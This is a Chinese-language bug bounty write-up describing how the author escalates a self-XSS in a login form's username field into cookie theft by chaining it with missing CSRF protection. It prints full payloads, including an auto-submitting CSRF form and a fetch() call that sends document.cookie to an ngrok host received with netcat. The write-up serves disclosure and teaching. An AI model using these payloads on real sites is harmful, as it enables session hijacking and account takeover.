我是 黑客小黑,今天,我想分享我最近在 HackerOne 项目中的一项漏洞
比方说:https://reacted.com
当我在这个网站上进行测试时,有一个登录功能,像往常一样,我尝试使用响应操作、默认凭据和 SQL 注入来绕过登录。
但没有任何作用,我决定检查源代码,发现我刚才输入的用户名打印在 value 属性中。
我想过尝试XSS注入,所以我尝试在用户名中注入双引号(“),我发现没有对其进行过滤。
所以,我考虑注入‘<’,这可能也有用。
确实,它起作用了!
因此,我尝试注入完整的payload:
"> <svg/onload=alert("XSS")>
不幸的是,这是一个Self-XSS
挖掘组合漏洞
我运行了 Burp Suite 并在登录尝试期间拦截了该请求。
从请求中,我注意到没有针对 CSRF 的保护,而这是登录功能所期望的。
我尝试使用 CSRF 将Self- XSS 升级为反射 XSS。
使用的payload:
<html>
<body>
<form name='myForm' id='myForm' method="POST" action="https://reacted.com/authenticate">
<input type="hidden" name="loginName" value="" ><svg/onmouseover=alert(1) ">
<input type="hidden" name="loginPassword" value="test"/>
<input name="loginForm" class="btn btn-success" type="submit" value="Log in"/>
</form>
<script>
document.addEventListener('DOMContentLoaded', function(event) {
document.createElement('form').submit.call(document.getElementById('myForm'));
});
</script>
</body>
<html>
是的,它起作用了!
在ngrok的帮助下,我成功获取了任何人的cookie
我打开了两个终端选项卡
第一个:ngrok http 80
第二个:sudo nc -nlvp 80
我在用户名中使用了这个有效负载:
" > <script>
fetch(‘https://<ngrok-Domain>’, { method: ‘POST’, mode: ‘no-cors’, body:document.cookie });
</script> "
” : 是 html 中编码的双引号和空格
该payload会检索用户的 cookie 并将其发送给我。在netcat(nc)的帮助下,我可以获得这些cookie。
最终的payload:
<html>
<body>
<form name='myForm' id='myForm' method="POST" action="https://reacted.com/authenticate">
<input type="hidden" name="loginName" value="" > <script>
fetch('https://<ngrok-host>', { method: 'POST', mode: 'no-cors', body:document.cookie });
</script> ""/>
<input type="hidden" name="loginPassword" value="test"/>
<input name="loginForm" class="btn btn-success" type="submit" value="Log in"/>
</form>
<script>
document.addEventListener('DOMContentLoaded', function(event) {
document.createElement('form').submit.call(document.getElementById('myForm'));
});
</script>
</body>
<html>
最后,我成功获得了cookie。